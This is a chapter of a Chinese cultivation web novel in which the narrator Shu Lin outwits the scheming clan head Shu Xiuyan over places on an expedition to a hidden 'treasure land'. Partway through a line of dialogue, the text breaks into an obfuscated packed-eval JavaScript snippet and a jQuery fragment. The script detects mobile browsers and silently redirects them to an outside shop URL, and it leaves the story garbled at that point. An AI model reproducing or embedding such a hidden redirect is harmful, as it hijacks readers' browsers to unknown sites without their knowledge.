我料想到舒修言会重用我,但没想到居然来得如此之快。
这绝对不止是我的实力的缘故,肯定还有什么因素藏在其后。
难道说……这老狐狸本就想往里加人了,只是我和舒云昌的比试正好给了他一个借口,所以当初才会表现得这般主动?
我不由眯了眯眼,思索背后可能存在的情况。
“舒家主装得实在是好,连我也给瞒过去了,我本以为他只是想借此来表达诚意,没想到还有这一层。”卫泓苦笑道,“阿临,这件事对你肯定是有好处的,但我不能太快松口,否则他会察觉到不对劲。”
既然我会被牵扯进去,卫泓便也不瞒着我了,把宝地的情况粗粗介绍了一通。
宝地是卫家和舒家在一次联合任务中发现的,因为还没能从记载中找出相关痕迹,所以暂且只称作“宝地”。
据卫泓所说,那是一片从未有人踏足过的地方,外面被设了禁制,只有骨龄低于一百五十岁、且修为达到一定境界的人才能进入。
经过两家的多次试验,才发觉除了以上的条件之外,一次进入的人还不能太多,同一时间最多只能三十个人进入。
此前因为舒家势不如人,且宝地距离卫家更近,所以只分到了十二个名额,舒修言脸上和气,暗地里不知咬碎了多少牙,不然也不至于在这次探索前突然发难。
“因为这是一个全然未知之地,再加上凌天大会在即,之前一年只是派了人大致摸清楚情况。如今大会结束,才是真正要派精英前往的时候。”
卫泓也没有亲自进去过,只是听他祖父谈起过,说那里面大有乾坤,灵气充盈却见不到多少天材地宝,只怕是有什么藏得极深。
这样明摆着的道理大家都懂,所以两家默契地隐瞒了这个消息,彼此联手探索。
舒修言也真是能忍,前面数十次探索一声不吭,笑呵呵地似乎都接受了,直到最关键的时刻前才骤然露出了獠牙。他先是让卫泓目睹这次比试,然后回去聊着聊着,话题一转,就到了舒家的名额上去,软硬兼施地表达了想要多加名额的诉求。
“……我目前还没答应,阿临。”卫泓抿紧嘴角,瞥了我一眼后又迅速移开,“这件事我不能这么快自己做决定……”
我叹了口气,“允和,你不必为此事感到愧疚,这本就是不该是你去帮我争取的事。”
我和卫泓如今明面上没有任何关系,就算真的没成,那也是舒修言那个老家伙不顶用,怎么也怪不到卫泓的头上。
好生和卫泓说道了一番,叫他按自己的身份行事就行,我就心事重重地回到了院子里。
“呦,怎么,约会回来脸色这么难看?两个人吵架了?”我娘先前不知道跑哪去了,现在倒是在家里,就是一张口就让人不想搭理她。
我抱着卷雾从她边上绕开,找了个角落蹲着发呆。
卫泓如今道出来的这些,让我把一件本来抛到脑后的事又想起来了。
舒云旸没能参加凌天大会到底真的是时运不济,还是另有隐情?
我娘今日一反常态地兴奋,甚至愿意热脸贴冷屁股地往我身边蹭,“到底怎么的?和你娘我讲讲呗?”
我将视线从地面上移开,侧眼去看她,不经意在她脸侧看到一点没擦去的脂粉。
——我娘一向不喜欢搞这些,却总在家里备着脂粉,就是为了偶尔易容出门做些事,比如翻垃圾堆,再比如偷偷给人套麻袋。
今日她衣衫整洁,显然不是去干以前那些事的……我就说族人凑热闹就算了,怎么还有几个下人也在旁边看。
我揪到了她的小尾巴,心情顿时就好多了,一五一十地把事情和她讲了一遍。
我娘听完沉思许久,忽然同我开口说道,“你之前和我提起舒云旸的异常后,我特意去他那边逛过几次。表面上看着滴水不漏,但还有很多瑕疵。”
汤药是一日不差地往里送的,可是一直不见人出来,她特意去翻了药渣,发现配的药所对应的病症确实严重,却没到让人在床上动弹不得的地步;
而且床上那个似乎是个冒牌货,我娘混进下人堆里,关于少爷变性了的话题听了满耳朵,和往日行事可谓是大相径庭;
……种种事件纠合在一起,就显得极其不对劲了起来。
而且,舒修言还特意为他遮掩,派我去顶了位置……可见舒修言不仅知情,说不准还是一切的主导者。我沉吟,脑中似乎有一抹灵光闪过。
只是目前我还有更迫在眉睫的事,也只好把这个发现暂时压进心底。
聊起宝地,这个我娘就无能为力了。
再聪明的人碰上毫无细节的事情,都没法分析出个一二三四出来,我娘最后拍了拍我的肩,很是幸灾乐祸地嘲笑了一通,“……儿啊,你还是自己努力吧。”
说罢,她大摇大摆地去拿出了近日的新欢——躺椅,又在院子里躺了起来。
接下来一连几天都没有什么大的变化,我娘躺躺椅上度日,我要么蹲着思考,要么和卫泓出去练剑,偶尔有听到消息上门的族人,也全都被我娘打太极给忽悠走了。
直到半个月后,见过两次的那位家主亲信又一次站在了我们家门前。
“舒临少爷,家主有请。”他正要敲门,我先一步把门打开了,同他大眼瞪小眼好一会儿,这位才回过神来,比前两次都要恭敬地同我说话。
卫泓昨天刚和我说过一次进度,舒修言又是卖惨又是让利的,总算是软磨硬泡得卫老家主都捏着鼻子答应了。
那老狐狸倒好,确认了能把我塞进去了,才慢悠悠地来拉拢我了。
我照例让这位稍等片刻,理完衣裳,才跟着他又来到熟悉的地方。
那老不死的惯会装腔作势,先前没觉得我有价值,所以糊弄了过去,这会就开始摆架势了,拿着张画像唏嘘不已。
“修德啊,你的后代出息了啊……”
——舒修德,我的那位亲祖父,家主同父异母的亲哥哥。
我唰的眼眶就红了,似是没想到家主居然还惦记着我的祖父,一时声音都带上了哽咽,“舒临见过家主。”
舒修言仿佛才注意到我进来,忙不迭收了画卷,语气嗔怪,“你这孩子,怎么进来无声无息的。也罢,你刚才都听到了吧,当年修德出事之后,我一直都很愧疚,如今见你成了材,也算是对得起他的在天之灵了。”
是啊,可愧疚了,愧疚到直接让人暗中把我们这一脉的待遇都改成了旁系的待遇,多年不管不问,我那亲祖父要真泉下有灵,上来第一个就得把这个不要脸的给咬死。
我心里门儿清,面上却和舒修言越发亲近,好生叙了一段旧,这人才把请我来此的缘由道了出来。
“先前许诺你进宝库挑一件,只是前几日一直抽不开身。正好今天无事,叔祖父亲自带你去挑一件,如何?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788366|210262||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
我当然是答应了,跟在舒修言后头来到宝库前。
宝库前重重把守,光是各种禁制阵法就有不下十层,不过谁让带我来的是家主,一路畅通无阻地就过去了。
琳琅满目的宝物罗列在我面前,对我这种穷惯了的人来说不亚于老鼠掉进米仓里,当即眼就有点直了。
舒修言很满意我这副样子,对他来说,不怕人贪心,就怕无欲无求,他不好掌控。
“临儿,去吧,挑一件你用得上的。”他温声对我道。
他没说限制,但也不代表我就可以真的随便拿,我老实地只在前三片区域逛了逛,最后看中了一朵对我当前修炼有益的火莲。
对于剑修而言,法宝都是身外之物,只要一把剑就足矣,与其去挑那些华而不实的玩意,还不如抓紧时间把修为提上去。
舒修言对我的行为相当满意,回去路上又关心好几句。不过也亏他憋得住,一点关于宝地的口风都没有透露。
我还挺能理解他的做法的,好东西一下子给多了,只会让人觉得来得太过轻易,也容易让人戒备,就是得层层递进,才能拿捏住人心。
嘿,这点套路,我和我娘早就研究透了。
估计接下来就得把我冷上几天,就等着我患得患失再来送炭,好让我死心塌地地跟着他。
果不其然,一连又过了五天,这老东西什么声也没有,第六天才忽然把我又一次召了过去。
已经提前被卫泓透过进度的我心知肚明,但还是装出什么也不知道的样子,疑惑地迈进了厅堂中。
只是出乎我的意料,舒云昌居然也在这里。
卫泓是和我说过,舒修言啃下来了两个名额,但我着实是没有想到,另一个名额居然是舒云昌的。
为什么?明明符合条件的人还有很多,比舒云昌出色的也不少,最后怎么会是这位?
我这下真惊疑不定了,瞅着舒云昌这小子——他被我一剑胜了后就有些萎靡不振的,见了我也不说话了,只一门心思看地,好像地上有什么金子可捡一样——心里转了八百个弯。
舒修言那老东西姗姗来迟,一开口就把我俩往相亲相爱的好兄弟人设上推,就像前些天的比试不存在似的,“临儿,昌儿,你们兄弟两既然都来了,我就不拐弯抹角,直接说事吧。”
他张口就夸大了宝地的事,然后“不经意”间透露出来一点自己是如何不容易地给我们争取到名额的,一副这都是为了我们好,虽然交换了不少利益,但谁让他怜惜英才呢的表现。
我瞧着他那样子,只觉得这老狐狸身后的狐狸尾巴都快藏不住了,心里冷笑着,伪装出感动的神色。
舒云昌全程不发言,一个人站在那边不知道在发什么呆。我们爷孙俩则互飙演技,和睦地演完了一场大戏,散场后还各怀心思地想了许多事。
还不等我查出来舒云昌身上到底发生了什么事,我就又被舒修言塞进了车,一大清早就出发前往宝地。
好消息,这次终于给我安排了个舒适的马车,速度快,但不晕。
更好的消息,由于这事来得太紧迫,卫泓和我还有舒云昌一同从舒家出发,我两虽然不能在人前举止亲密,但好歹天天都能见着。
托卫泓的福,这一路的饮食都很不错。
大约五日后,中间辗转了两个中世界,三个小世界,我们才终于停了。
宝地到了。